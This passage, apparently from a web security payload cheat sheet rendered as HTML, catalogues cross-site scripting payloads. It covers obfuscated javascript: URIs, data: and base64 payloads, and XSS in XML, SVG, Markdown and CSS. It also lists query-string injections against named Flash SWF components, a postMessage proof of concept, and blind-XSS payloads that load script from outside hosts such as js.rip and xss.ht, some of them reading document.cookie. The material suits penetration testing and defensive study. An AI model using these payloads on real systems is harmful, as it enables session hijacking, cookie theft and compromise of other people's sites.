<a id="__codelineno-15-5" name="__codelineno-15-5" href="#__codelineno-15-5"></a><span class="o">&</span><span class="err">#</span><span class="mf">106</span><span class="o">&</span><span class="err">#</span><span class="mf">97</span><span class="o">&</span><span class="err">#</span><span class="mf">118</span><span class="o">&</span><span class="err">#</span><span class="mf">97</span><span class="o">&</span><span class="err">#</span><span class="mf">115</span><span class="o">&</span><span class="err">#</span><span class="mf">99</span><span class="o">&</span><span class="err">#</span><span class="mf">114</span><span class="o">&</span><span class="err">#</span><span class="mf">105</span><span class="o">&</span><span class="err">#</span><span class="mf">112</span><span class="o">&</span><span class="err">#</span><span class="mf">116</span><span class="o">&</span><span class="err">#</span><span class="mf">58</span><span class="o">&</span><span class="err">#</span><span class="mf">99</span><span class="o">&</span><span class="err">#</span><span class="mf">111</span><span class="o">&</span><span class="err">#</span><span class="mf">110</span><span class="o">&</span><span class="err">#</span><span class="mf">102</span><span class="o">&</span><span class="err">#</span><span class="mf">105</span><span class="o">&</span><span class="err">#</span><span class="mf">114</span><span class="o">&</span><span class="err">#</span><span class="mf">109</span><span class="o">&</span><span class="err">#</span><span class="mf">40</span><span class="o">&</span><span class="err">#</span><span class="mf">49</span><span class="o">&</span><span class="err">#</span><span class="mf">41</span>
|
||
<a id="__codelineno-15-6" name="__codelineno-15-6" href="#__codelineno-15-6"></a>
|
||
<a id="__codelineno-15-7" name="__codelineno-15-7" href="#__codelineno-15-7"></a><span class="nx">We</span><span class="w"> </span><span class="nx">can</span><span class="w"> </span><span class="nx">encode</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="s2">"javascript:"</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="nx">Hex</span><span class="o">/</span><span class="nx">Octal</span>
|
||
<a id="__codelineno-15-8" name="__codelineno-15-8" href="#__codelineno-15-8"></a><span class="err">\</span><span class="nx">x6A</span><span class="err">\</span><span class="nx">x61</span><span class="err">\</span><span class="nx">x76</span><span class="err">\</span><span class="nx">x61</span><span class="err">\</span><span class="nx">x73</span><span class="err">\</span><span class="nx">x63</span><span class="err">\</span><span class="nx">x72</span><span class="err">\</span><span class="nx">x69</span><span class="err">\</span><span class="nx">x70</span><span class="err">\</span><span class="nx">x74</span><span class="err">\</span><span class="nx">x3aalert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span>
|
||
<a id="__codelineno-15-9" name="__codelineno-15-9" href="#__codelineno-15-9"></a><span class="nx">\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span>
|
||
<a id="__codelineno-15-10" name="__codelineno-15-10" href="#__codelineno-15-10"></a><span class="err">\</span><span class="mf">152</span><span class="err">\</span><span class="mf">141</span><span class="err">\</span><span class="mf">166</span><span class="err">\</span><span class="mf">141</span><span class="err">\</span><span class="mf">163</span><span class="err">\</span><span class="mf">143</span><span class="err">\</span><span class="mf">162</span><span class="err">\</span><span class="mf">151</span><span class="err">\</span><span class="mf">160</span><span class="err">\</span><span class="mf">164</span><span class="err">\</span><span class="mo">072</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span>
|
||
<a id="__codelineno-15-11" name="__codelineno-15-11" href="#__codelineno-15-11"></a>
|
||
<a id="__codelineno-15-12" name="__codelineno-15-12" href="#__codelineno-15-12"></a><span class="nx">We</span><span class="w"> </span><span class="nx">can</span><span class="w"> </span><span class="nx">use</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="s1">'newline character'</span>
|
||
<a id="__codelineno-15-13" name="__codelineno-15-13" href="#__codelineno-15-13"></a><span class="nx">java</span><span class="o">%</span><span class="mf">0</span><span class="nx">ascript</span><span class="o">:</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">LF</span><span class="w"> </span><span class="p">(</span><span class="err">\</span><span class="nx">n</span><span class="p">)</span>
|
||
<a id="__codelineno-15-14" name="__codelineno-15-14" href="#__codelineno-15-14"></a><span class="nx">java</span><span class="o">%</span><span class="mf">09</span><span class="nx">script</span><span class="o">:</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Horizontal</span><span class="w"> </span><span class="nx">tab</span><span class="w"> </span><span class="p">(</span><span class="err">\</span><span class="nx">t</span><span class="p">)</span>
|
||
<a id="__codelineno-15-15" name="__codelineno-15-15" href="#__codelineno-15-15"></a><span class="nx">java</span><span class="o">%</span><span class="mf">0</span><span class="nx">dscript</span><span class="o">:</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">CR</span><span class="w"> </span><span class="p">(</span><span class="err">\</span><span class="nx">r</span><span class="p">)</span>
|
||
<a id="__codelineno-15-16" name="__codelineno-15-16" href="#__codelineno-15-16"></a>
|
||
<a id="__codelineno-15-17" name="__codelineno-15-17" href="#__codelineno-15-17"></a><span class="nx">Using</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">escape</span><span class="w"> </span><span class="nx">character</span>
|
||
<a id="__codelineno-15-18" name="__codelineno-15-18" href="#__codelineno-15-18"></a><span class="err">\</span><span class="nx">j</span><span class="err">\</span><span class="nx">av</span><span class="err">\</span><span class="nx">a</span><span class="err">\</span><span class="nx">s</span><span class="err">\</span><span class="nx">cr</span><span class="err">\</span><span class="nx">i</span><span class="err">\</span><span class="nx">pt</span><span class="err">\</span><span class="o">:</span><span class="err">\</span><span class="nx">a</span><span class="err">\</span><span class="nx">l</span><span class="err">\</span><span class="nx">ert</span><span class="err">\</span><span class="p">(</span><span class="mf">1</span><span class="err">\</span><span class="p">)</span>
|
||
<a id="__codelineno-15-19" name="__codelineno-15-19" href="#__codelineno-15-19"></a>
|
||
<a id="__codelineno-15-20" name="__codelineno-15-20" href="#__codelineno-15-20"></a><span class="nx">Using</span><span class="w"> </span><span class="nx">the</span><span class="w"> </span><span class="nx">newline</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">comment</span><span class="w"> </span><span class="c1">//</span>
|
||
<a id="__codelineno-15-21" name="__codelineno-15-21" href="#__codelineno-15-21"></a><span class="nx">javascript</span><span class="o">:</span><span class="c1">//%0Aalert(1)</span>
|
||
<a id="__codelineno-15-22" name="__codelineno-15-22" href="#__codelineno-15-22"></a><span class="nx">javascript</span><span class="o">:</span><span class="c1">//anything%0D%0A%0D%0Awindow.alert(1)</span>
|
||
</code></pre></div>
|
||
<p>XSS with data:</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-16-1" name="__codelineno-16-1" href="#__codelineno-16-1"></a><span class="nx">data</span><span class="o">:</span><span class="nx">text</span><span class="o">/</span><span class="nx">html</span><span class="p">,</span><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">alert</span><span class="p">(</span><span class="mf">0</span><span class="p">)</span><span class="o"><</span><span class="err">/script></span>
|
||
<a id="__codelineno-16-2" name="__codelineno-16-2" href="#__codelineno-16-2"></a><span class="nx">data</span><span class="o">:</span><span class="nx">text</span><span class="o">/</span><span class="nx">html</span><span class="p">;</span><span class="nx">base64</span><span class="p">,</span><span class="nx">PHN2Zy9vbmxvYWQ9YWxlcnQoMik</span><span class="o">+</span>
|
||
<a id="__codelineno-16-3" name="__codelineno-16-3" href="#__codelineno-16-3"></a><span class="o"><</span><span class="nx">script</span><span class="w"> </span><span class="nx">src</span><span class="o">=</span><span class="s2">"data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="</span><span class="o">><</span><span class="err">/script></span>
|
||
</code></pre></div>
|
||
<p>XSS with vbscript: only IE</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-17-1" name="__codelineno-17-1" href="#__codelineno-17-1"></a><span class="nx">vbscript</span><span class="o">:</span><span class="nx">msgbox</span><span class="p">(</span><span class="s2">"XSS"</span><span class="p">)</span>
|
||
</code></pre></div>
|
||
<h2 id="xss-in-files">XSS in files</h2>
|
||
<p>** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-18-1" name="__codelineno-18-1" href="#__codelineno-18-1"></a><span class="nt"><name></span>
|
||
<a id="__codelineno-18-2" name="__codelineno-18-2" href="#__codelineno-18-2"></a><span class="w"> </span><span class="nt"><value></span><span class="cp"><![CDATA[<script>confirm(document.domain)</script>]]></span><span class="nt"></value></span>
|
||
<a id="__codelineno-18-3" name="__codelineno-18-3" href="#__codelineno-18-3"></a><span class="nt"></name></span>
|
||
</code></pre></div>
|
||
<h3 id="xss-in-xml">XSS in XML</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-19-1" name="__codelineno-19-1" href="#__codelineno-19-1"></a><span class="nt"><html></span>
|
||
<a id="__codelineno-19-2" name="__codelineno-19-2" href="#__codelineno-19-2"></a><span class="nt"><head></head></span>
|
||
<a id="__codelineno-19-3" name="__codelineno-19-3" href="#__codelineno-19-3"></a><span class="nt"><body></span>
|
||
<a id="__codelineno-19-4" name="__codelineno-19-4" href="#__codelineno-19-4"></a><span class="nt"><something:script</span><span class="w"> </span><span class="na">xmlns:something=</span><span class="s">"http://www.w3.org/1999/xhtml"</span><span class="nt">></span>alert(1)<span class="nt"></something:script></span>
|
||
<a id="__codelineno-19-5" name="__codelineno-19-5" href="#__codelineno-19-5"></a><span class="nt"></body></span>
|
||
<a id="__codelineno-19-6" name="__codelineno-19-6" href="#__codelineno-19-6"></a><span class="nt"></html></span>
|
||
</code></pre></div>
|
||
<h3 id="xss-in-svg">XSS in SVG</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-20-1" name="__codelineno-20-1" href="#__codelineno-20-1"></a><span class="cp"><?xml version="1.0" standalone="no"?></span>
|
||
<a id="__codelineno-20-2" name="__codelineno-20-2" href="#__codelineno-20-2"></a><span class="cp"><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"></span>
|
||
<a id="__codelineno-20-3" name="__codelineno-20-3" href="#__codelineno-20-3"></a>
|
||
<a id="__codelineno-20-4" name="__codelineno-20-4" href="#__codelineno-20-4"></a><span class="nt"><svg</span><span class="w"> </span><span class="na">version=</span><span class="s">"1.1"</span><span class="w"> </span><span class="na">baseProfile=</span><span class="s">"full"</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/svg"</span><span class="nt">></span>
|
||
<a id="__codelineno-20-5" name="__codelineno-20-5" href="#__codelineno-20-5"></a><span class="w"> </span><span class="nt"><polygon</span><span class="w"> </span><span class="na">id=</span><span class="s">"triangle"</span><span class="w"> </span><span class="na">points=</span><span class="s">"0,0 0,50 50,0"</span><span class="w"> </span><span class="na">fill=</span><span class="s">"#009900"</span><span class="w"> </span><span class="na">stroke=</span><span class="s">"#004400"</span><span class="nt">/></span>
|
||
<a id="__codelineno-20-6" name="__codelineno-20-6" href="#__codelineno-20-6"></a><span class="w"> </span><span class="nt"><script</span><span class="w"> </span><span class="na">type=</span><span class="s">"text/javascript"</span><span class="nt">></span>
|
||
<a id="__codelineno-20-7" name="__codelineno-20-7" href="#__codelineno-20-7"></a><span class="w"> </span>alert(document.domain);
|
||
<a id="__codelineno-20-8" name="__codelineno-20-8" href="#__codelineno-20-8"></a><span class="w"> </span><span class="nt"></script></span>
|
||
<a id="__codelineno-20-9" name="__codelineno-20-9" href="#__codelineno-20-9"></a><span class="nt"></svg></span>
|
||
</code></pre></div>
|
||
<h3 id="xss-in-svg-short">XSS in SVG (short)</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-21-1" name="__codelineno-21-1" href="#__codelineno-21-1"></a><span class="o"><</span><span class="nx">svg</span><span class="w"> </span><span class="nx">xmlns</span><span class="o">=</span><span class="s2">"http://www.w3.org/2000/svg"</span><span class="w"> </span><span class="nx">onload</span><span class="o">=</span><span class="s2">"alert(document.domain)"</span><span class="o">/></span>
|
||
<a id="__codelineno-21-2" name="__codelineno-21-2" href="#__codelineno-21-2"></a>
|
||
<a id="__codelineno-21-3" name="__codelineno-21-3" href="#__codelineno-21-3"></a><span class="o"><</span><span class="nx">svg</span><span class="o">><</span><span class="nx">desc</span><span class="o">><!</span><span class="p">[</span><span class="nx">CDATA</span><span class="p">[</span><span class="o"><</span><span class="err">/desc><script>alert(1)</script>]]></svg></span>
|
||
<a id="__codelineno-21-4" name="__codelineno-21-4" href="#__codelineno-21-4"></a><span class="o"><</span><span class="nx">svg</span><span class="o">><</span><span class="nx">foreignObject</span><span class="o">><!</span><span class="p">[</span><span class="nx">CDATA</span><span class="p">[</span><span class="o"><</span><span class="err">/foreignObject><script>alert(2)</script>]]></svg></span>
|
||
<a id="__codelineno-21-5" name="__codelineno-21-5" href="#__codelineno-21-5"></a><span class="o"><</span><span class="nx">svg</span><span class="o">><</span><span class="nx">title</span><span class="o">><!</span><span class="p">[</span><span class="nx">CDATA</span><span class="p">[</span><span class="o"><</span><span class="err">/title><script>alert(3)</script>]]></svg></span>
|
||
</code></pre></div>
|
||
<h3 id="xss-in-markdown">XSS in Markdown</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-22-1" name="__codelineno-22-1" href="#__codelineno-22-1"></a><span class="na">[a]</span><span class="p">(</span><span class="n">javascript</span><span class="p">:</span><span class="n">prompt</span><span class="p">(</span><span class="n">document</span><span class="p">.</span><span class="n">cookie</span><span class="p">))</span>
|
||
<a id="__codelineno-22-2" name="__codelineno-22-2" href="#__codelineno-22-2"></a><span class="na">[a]</span><span class="p">(</span><span class="n">j</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">v</span><span class="w"> </span><span class="n">a</span><span class="w"> </span><span class="n">s</span><span class="w"> </span><span class="n">c</span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="n">p</span><span class="w"> </span><span class="n">t</span><span class="p">:</span><span class="n">prompt</span><span class="p">(</span><span class="n">document</span><span class="p">.</span><span class="n">cookie</span><span class="p">))</span>
|
||
<a id="__codelineno-22-3" name="__codelineno-22-3" href="#__codelineno-22-3"></a><span class="na">[a]</span><span class="p">(</span><span class="n">data</span><span class="p">:</span><span class="n">text</span><span class="o">/</span><span class="n">html</span><span class="p">;</span><span class="n">base64</span><span class="p">,</span><span class="n">PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</span><span class="p">)</span>
|
||
<a id="__codelineno-22-4" name="__codelineno-22-4" href="#__codelineno-22-4"></a><span class="na">[a]</span><span class="p">(</span><span class="n">javascript</span><span class="p">:</span><span class="n">window</span><span class="p">.</span><span class="n">onerror</span><span class="o">=</span><span class="n">alert</span><span class="p">;</span><span class="k">throw</span><span class="o">%</span><span class="m">201</span><span class="p">)</span>
|
||
</code></pre></div>
|
||
<h3 id="xss-in-swf-flash-application">XSS in SWF flash application</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-23-1" name="__codelineno-23-1" href="#__codelineno-23-1"></a><span class="n">Browsers</span> <span class="n">other</span> <span class="n">than</span> <span class="n">IE</span><span class="p">:</span> <span class="n">http</span><span class="p">://</span><span class="n">0me</span><span class="p">.</span><span class="n">me</span><span class="p">/</span><span class="n">demo</span><span class="p">/</span><span class="n">xss</span><span class="p">/</span><span class="n">xssproject</span><span class="p">.</span><span class="n">swf</span><span class="k">?</span><span class="n">js</span><span class="p">=</span><span class="n">alert</span><span class="p">(</span><span class="n">document</span><span class="p">.</span><span class="n">domain</span><span class="p">);</span>
|
||
<a id="__codelineno-23-2" name="__codelineno-23-2" href="#__codelineno-23-2"></a><span class="n">IE8</span><span class="p">:</span> <span class="n">http</span><span class="p">://</span><span class="n">0me</span><span class="p">.</span><span class="n">me</span><span class="p">/</span><span class="n">demo</span><span class="p">/</span><span class="n">xss</span><span class="p">/</span><span class="n">xssproject</span><span class="p">.</span><span class="n">swf</span><span class="k">?</span><span class="n">js</span><span class="p">=</span><span class="k">try</span><span class="p">{</span><span class="n">alert</span><span class="p">(</span><span class="n">document</span><span class="p">.</span><span class="n">domain</span><span class="p">)}</span><span class="k">catch</span><span class="p">(</span><span class="n">e</span><span class="p">){</span> <span class="n">window</span><span class="p">.</span><span class="n">open</span><span class="p">(</span><span class="err">‘</span><span class="k">?</span><span class="n">js</span><span class="p">=</span><span class="n">history</span><span class="p">.</span><span class="n">go</span><span class="p">(-</span><span class="n">1</span><span class="p">)</span><span class="err">’</span><span class="p">,</span><span class="err">’</span><span class="n">_self</span><span class="err">’</span><span class="p">);}</span>
|
||
<a id="__codelineno-23-3" name="__codelineno-23-3" href="#__codelineno-23-3"></a><span class="n">IE9</span><span class="p">:</span> <span class="n">http</span><span class="p">://</span><span class="n">0me</span><span class="p">.</span><span class="n">me</span><span class="p">/</span><span class="n">demo</span><span class="p">/</span><span class="n">xss</span><span class="p">/</span><span class="n">xssproject</span><span class="p">.</span><span class="n">swf</span><span class="k">?</span><span class="n">js</span><span class="p">=</span><span class="n">w</span><span class="p">=</span><span class="n">window</span><span class="p">.</span><span class="n">open</span><span class="p">(</span><span class="err">‘</span><span class="n">invalidfileinvalidfileinvalidfile</span><span class="err">’</span><span class="p">,</span><span class="err">’</span><span class="n">target</span><span class="err">’</span><span class="p">);</span><span class="n">setTimeout</span><span class="p">(</span><span class="err">‘</span><span class="n">alert</span><span class="p">(</span><span class="n">w</span><span class="p">.</span><span class="n">document</span><span class="p">.</span><span class="n">location</span><span class="p">);</span><span class="n">w</span><span class="p">.</span><span class="n">close</span><span class="p">();</span><span class="err">’</span><span class="p">,</span><span class="n">1</span><span class="p">);</span>
|
||
</code></pre></div>
|
||
<p>more payloads in ./files</p>
|
||
<h3 id="xss-in-swf-flash-application_1">XSS in SWF flash application</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-24-1" name="__codelineno-24-1" href="#__codelineno-24-1"></a>flashmediaelement.swf?jsinitfunctio%gn=alert`1`
|
||
<a id="__codelineno-24-2" name="__codelineno-24-2" href="#__codelineno-24-2"></a>flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
|
||
<a id="__codelineno-24-3" name="__codelineno-24-3" href="#__codelineno-24-3"></a>ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
|
||
<a id="__codelineno-24-4" name="__codelineno-24-4" href="#__codelineno-24-4"></a>swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
|
||
<a id="__codelineno-24-5" name="__codelineno-24-5" href="#__codelineno-24-5"></a>swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
|
||
<a id="__codelineno-24-6" name="__codelineno-24-6" href="#__codelineno-24-6"></a>plupload.flash.swf?%#target%g=alert&uid%g=XSS&
|
||
<a id="__codelineno-24-7" name="__codelineno-24-7" href="#__codelineno-24-7"></a>moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
|
||
<a id="__codelineno-24-8" name="__codelineno-24-8" href="#__codelineno-24-8"></a>video-js.swf?readyFunction=alert(1)
|
||
<a id="__codelineno-24-9" name="__codelineno-24-9" href="#__codelineno-24-9"></a>player.swf?playerready=alert(document.cookie)
|
||
<a id="__codelineno-24-10" name="__codelineno-24-10" href="#__codelineno-24-10"></a>player.swf?tracecall=alert(document.cookie)
|
||
<a id="__codelineno-24-11" name="__codelineno-24-11" href="#__codelineno-24-11"></a>banner.swf?clickTAG=javascript:alert(1);//
|
||
<a id="__codelineno-24-12" name="__codelineno-24-12" href="#__codelineno-24-12"></a>io.swf?yid=\"));}catch(e){alert(1);}//
|
||
<a id="__codelineno-24-13" name="__codelineno-24-13" href="#__codelineno-24-13"></a>video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
|
||
<a id="__codelineno-24-14" name="__codelineno-24-14" href="#__codelineno-24-14"></a>bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
|
||
<a id="__codelineno-24-15" name="__codelineno-24-15" href="#__codelineno-24-15"></a>flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
|
||
<a id="__codelineno-24-16" name="__codelineno-24-16" href="#__codelineno-24-16"></a>phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
|
||
</code></pre></div>
|
||
<h3 id="xss-in-css">XSS in CSS</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-25-1" name="__codelineno-25-1" href="#__codelineno-25-1"></a><span class="cp"><!DOCTYPE html></span>
|
||
<a id="__codelineno-25-2" name="__codelineno-25-2" href="#__codelineno-25-2"></a><span class="p"><</span><span class="nt">html</span><span class="p">></span>
|
||
<a id="__codelineno-25-3" name="__codelineno-25-3" href="#__codelineno-25-3"></a><span class="p"><</span><span class="nt">head</span><span class="p">></span>
|
||
<a id="__codelineno-25-4" name="__codelineno-25-4" href="#__codelineno-25-4"></a><span class="p"><</span><span class="nt">style</span><span class="p">></span>
|
||
<a id="__codelineno-25-5" name="__codelineno-25-5" href="#__codelineno-25-5"></a><span class="nt">div</span><span class="w"> </span><span class="p">{</span>
|
||
<a id="__codelineno-25-6" name="__codelineno-25-6" href="#__codelineno-25-6"></a><span class="w"> </span><span class="k">background-image</span><span class="p">:</span><span class="w"> </span><span class="nb">url</span><span class="p">(</span><span class="s2">"data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>"</span><span class="p">);</span>
|
||
<a id="__codelineno-25-7" name="__codelineno-25-7" href="#__codelineno-25-7"></a><span class="w"> </span><span class="k">background-color</span><span class="p">:</span><span class="w"> </span><span class="mh">#cccccc</span><span class="p">;</span>
|
||
<a id="__codelineno-25-8" name="__codelineno-25-8" href="#__codelineno-25-8"></a><span class="p">}</span>
|
||
<a id="__codelineno-25-9" name="__codelineno-25-9" href="#__codelineno-25-9"></a><span class="p"></</span><span class="nt">style</span><span class="p">></span>
|
||
<a id="__codelineno-25-10" name="__codelineno-25-10" href="#__codelineno-25-10"></a><span class="p"></</span><span class="nt">head</span><span class="p">></span>
|
||
<a id="__codelineno-25-11" name="__codelineno-25-11" href="#__codelineno-25-11"></a> <span class="p"><</span><span class="nt">body</span><span class="p">></span>
|
||
<a id="__codelineno-25-12" name="__codelineno-25-12" href="#__codelineno-25-12"></a> <span class="p"><</span><span class="nt">div</span><span class="p">></span>lol<span class="p"></</span><span class="nt">div</span><span class="p">></span>
|
||
<a id="__codelineno-25-13" name="__codelineno-25-13" href="#__codelineno-25-13"></a> <span class="p"></</span><span class="nt">body</span><span class="p">></span>
|
||
<a id="__codelineno-25-14" name="__codelineno-25-14" href="#__codelineno-25-14"></a><span class="p"></</span><span class="nt">html</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h2 id="xss-in-postmessage">XSS in PostMessage</h2>
|
||
<blockquote>
|
||
<p>If the target origin is asterisk * the message can be sent to any domain has reference to the child page.</p>
|
||
</blockquote>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-26-1" name="__codelineno-26-1" href="#__codelineno-26-1"></a><span class="p"><</span><span class="nt">html</span><span class="p">></span>
|
||
<a id="__codelineno-26-2" name="__codelineno-26-2" href="#__codelineno-26-2"></a><span class="p"><</span><span class="nt">body</span><span class="p">></span>
|
||
<a id="__codelineno-26-3" name="__codelineno-26-3" href="#__codelineno-26-3"></a> <span class="p"><</span><span class="nt">input</span> <span class="na">type</span><span class="o">=</span><span class="s">button</span> <span class="na">value</span><span class="o">=</span><span class="s">"Click Me"</span> <span class="na">id</span><span class="o">=</span><span class="s">"btn"</span><span class="p">></span>
|
||
<a id="__codelineno-26-4" name="__codelineno-26-4" href="#__codelineno-26-4"></a><span class="p"></</span><span class="nt">body</span><span class="p">></span>
|
||
<a id="__codelineno-26-5" name="__codelineno-26-5" href="#__codelineno-26-5"></a>
|
||
<a id="__codelineno-26-6" name="__codelineno-26-6" href="#__codelineno-26-6"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span>
|
||
<a id="__codelineno-26-7" name="__codelineno-26-7" href="#__codelineno-26-7"></a><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">'btn'</span><span class="p">).</span><span class="nx">onclick</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">){</span>
|
||
<a id="__codelineno-26-8" name="__codelineno-26-8" href="#__codelineno-26-8"></a><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">poc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s1">'http://www.redacted.com/#login'</span><span class="p">);</span>
|
||
<a id="__codelineno-26-9" name="__codelineno-26-9" href="#__codelineno-26-9"></a><span class="w"> </span><span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
|
||
<a id="__codelineno-26-10" name="__codelineno-26-10" href="#__codelineno-26-10"></a><span class="w"> </span><span class="nb">window</span><span class="p">.</span><span class="nx">poc</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span>
|
||
<a id="__codelineno-26-11" name="__codelineno-26-11" href="#__codelineno-26-11"></a><span class="w"> </span><span class="p">{</span>
|
||
<a id="__codelineno-26-12" name="__codelineno-26-12" href="#__codelineno-26-12"></a><span class="w"> </span><span class="s2">"sender"</span><span class="o">:</span><span class="w"> </span><span class="s2">"accounts"</span><span class="p">,</span>
|
||
<a id="__codelineno-26-13" name="__codelineno-26-13" href="#__codelineno-26-13"></a><span class="w"> </span><span class="s2">"url"</span><span class="o">:</span><span class="w"> </span><span class="s2">"javascript:confirm('XSS')"</span><span class="p">,</span>
|
||
<a id="__codelineno-26-14" name="__codelineno-26-14" href="#__codelineno-26-14"></a><span class="w"> </span><span class="p">},</span>
|
||
<a id="__codelineno-26-15" name="__codelineno-26-15" href="#__codelineno-26-15"></a><span class="w"> </span><span class="s1">'*'</span>
|
||
<a id="__codelineno-26-16" name="__codelineno-26-16" href="#__codelineno-26-16"></a><span class="w"> </span><span class="p">);</span>
|
||
<a id="__codelineno-26-17" name="__codelineno-26-17" href="#__codelineno-26-17"></a><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">2000</span><span class="p">);</span>
|
||
<a id="__codelineno-26-18" name="__codelineno-26-18" href="#__codelineno-26-18"></a><span class="p">}</span>
|
||
<a id="__codelineno-26-19" name="__codelineno-26-19" href="#__codelineno-26-19"></a><span class="p"></</span><span class="nt">script</span><span class="p">></span>
|
||
<a id="__codelineno-26-20" name="__codelineno-26-20" href="#__codelineno-26-20"></a><span class="p"></</span><span class="nt">html</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h2 id="blind-xss">Blind XSS</h2>
|
||
<h3 id="xss-hunter">XSS Hunter</h3>
|
||
<blockquote>
|
||
<p>XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.</p>
|
||
</blockquote>
|
||
<p>XSS Hunter is deprecated, it was available at <a href="https://xsshunter.com/app">https://xsshunter.com/app</a>. </p>
|
||
<p>You can set up an alternative version
|
||
* Self-hosted version from <a href="https://github.com/mandatoryprogrammer/xsshunter-express">mandatoryprogrammer/xsshunter-express</a>
|
||
* Hosted on <a href="https://xsshunter.trufflesecurity.com/">xsshunter.trufflesecurity.com</a></p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a>"><span class="nt"><script</span><span class="w"> </span><span class="na">src=</span><span class="s">"https://js.rip/<custom.name>"</span><span class="nt">></script></span>
|
||
<a id="__codelineno-27-2" name="__codelineno-27-2" href="#__codelineno-27-2"></a>"><span class="nt"><script</span><span class="w"> </span><span class="na">src=</span><span class="s">//<custom.subdomain</span><span class="nt">></span>.xss.ht><span class="nt"></script></span>
|
||
<a id="__codelineno-27-3" name="__codelineno-27-3" href="#__codelineno-27-3"></a><span class="nt"><script></span>$.getScript("//<span class="nt"><custom.subdomain></span>.xss.ht")<span class="nt"></script></span>
|
||
</code></pre></div>
|
||
<h3 id="other-blind-xss-tools">Other Blind XSS tools</h3>
|
||
<ul>
|
||
<li><a href="https://github.com/Netflix-Skunkworks/sleepy-puppy">sleepy-puppy - Netflix</a></li>
|
||
<li><a href="https://github.com/LewisArdern/bXSS">bXSS - LewisArdern</a></li>
|
||
<li><a href="https://github.com/ssl/ezXSS">ezXSS - ssl</a></li>
|
||
</ul>
|
||
<h3 id="blind-xss-endpoint">Blind XSS endpoint</h3>
|
||
<ul>
|
||
<li>Contact forms</li>
|
||
<li>Ticket support</li>
|
||
<li>Referer Header</li>
|
||
<li>Custom Site Analytics</li>
|
||
<li>Administrative Panel logs</li>
|
||
<li>User Agent</li>
|
||
<li>Custom Site Analytics</li>
|
||
<li>Administrative Panel logs</li>
|
||
<li>Comment Box</li>
|
||
<li>Administrative Panel</li>
|
||
</ul>
|
||
<h3 id="tips">Tips</h3>
|
||
<p>You can use a <a href="#data-grabber-for-xss">Data grabber for XSS</a> and a one-line HTTP server to confirm the existence of a blind XSS before deploying a heavy blind-XSS testing tool.</p>
|
||
<p>Eg. payload</p>
|
||
